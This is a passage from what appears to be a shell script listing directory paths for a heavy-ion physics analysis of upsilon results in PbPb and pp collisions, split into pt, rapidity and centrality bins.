\"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_20_40\")\ntxtDir_aa_3_4_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4/Pt/Pt_20_40\")\ntxtDir_aa_3_4p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_4p5/Pt/Pt_20_40\")\ntxtDir_aa_3p5_3p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Pt/Pt_20_40\")\ntxtDir_aa_3p5_4_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Pt/Pt_20_40\")\ntxtDir_aa_3p5_4p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Pt/Pt_20_40\")\ntxtDir_aa_4_4_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Pt/Pt_20_40\")\ntxtDir_aa_4_4p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Pt/Pt_20_40\")\ntxtDir_aa_4p5_4p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Pt/Pt_20_40\")\n########################################## rap ############################################\ntxtDir_aa_3p5_3p5_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Rap/Rap_2_2p4\"\n)\n# \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Rap/Rap_0_1p2\"\n# \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Rap/Rap_1p2_2p4\"\ntxtDir_aa_3p5_4_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Rap/Rap_2_2p4\"\n)\ntxtDir_aa_3p5_4p5_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Rap/Rap_2_2p4\"\n)\ntxtDir_aa_4_4_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Rap/Rap_2_2p4\"\n)\ntxtDir_aa_4_4p5_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Rap/Rap_2_2p4\"\n)\ntxtDir_aa_4p5_4p5_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Rap/Rap_2_2p4\"\n)\n\n########################################## pp ############################################\n########################################## pt ############################################\ntxtDir_pp_3_3_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_20_40\")\ntxtDir_pp_3_3p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_20_40\")\ntxtDir_pp_3_4_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4/Pt/Pt_20_40\")\ntxtDir_pp_3_4p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3_4p5/Pt/Pt_20_40\")\ntxtDir_pp_3p5_3p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Pt/Pt_20_40\")\ntxtDir_pp_3p5_4_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Pt/Pt_20_40\")\ntxtDir_pp_3p5_4p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Pt/Pt_20_40\")\ntxtDir_pp_4_4_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Pt/Pt_20_40\")\ntxtDir_pp_4_4p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Pt/Pt_20_40\")\ntxtDir_pp_4p5_4p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Pt/Pt_20_40\")\n########################################## rap ############################################\ntxtDir_pp_3p5_3p5_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Rap/Rap_2_2p4\"\n)\n# \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Rap/Rap_0_1p2\"\n# \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_3p5/Rap/Rap_1p2_2p4\"\ntxtDir_pp_3p5_4_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4/Rap/Rap_2_2p4\"\n)\ntxtDir_pp_3p5_4p5_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_3p5_4p5/Rap/Rap_2_2p4\"\n)\ntxtDir_pp_4_4_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4/Rap/Rap_2_2p4\"\n)\ntxtDir_pp_4_4p5_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4_4p5/Rap/Rap_2_2p4\"\n)\ntxtDir_pp_4p5_4p5_rap=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Rap/Rap_0_0p4\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Rap/Rap_0p4_0p8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Rap/Rap_0p8_1p2\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Rap/Rap_1p2_1p6\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Rap/Rap_1p6_2\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/pp/pt_4p5_4p5/Rap/Rap_2_2p4\"\n)########################################## cent ############################################\ntxtDir_aa_3p5_3p5_cent=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_0_5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_5_10\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_10_20\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_20_30\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_30_40\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_40_50\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_50_70\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_70_100\"\n)\n# \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_0_1p2\"\n# \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_3p5/Centrality/Cent_1p40_50\"\ntxtDir_aa_3p5_4_cent=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Centrality/Cent_0_5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Centrality/Cent_5_10\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Centrality/Cent_10_20\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Centrality/Cent_20_30\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Centrality/Cent_30_40\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Centrality/Cent_40_50\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Centrality/Cent_50_70\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4/Centrality/Cent_70_100\"\n)\ntxtDir_aa_3p5_4p5_cent=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Centrality/Cent_0_5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Centrality/Cent_5_10\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Centrality/Cent_10_20\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Centrality/Cent_20_30\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Centrality/Cent_30_40\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Centrality/Cent_40_50\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Centrality/Cent_50_70\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3p5_4p5/Centrality/Cent_70_100\"\n)\ntxtDir_aa_4_4_cent=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Centrality/Cent_0_5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Centrality/Cent_5_10\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Centrality/Cent_10_20\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Centrality/Cent_20_30\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Centrality/Cent_30_40\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Centrality/Cent_40_50\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Centrality/Cent_50_70\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4/Centrality/Cent_70_100\"\n)\ntxtDir_aa_4_4p5_cent=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Centrality/Cent_0_5\"\n 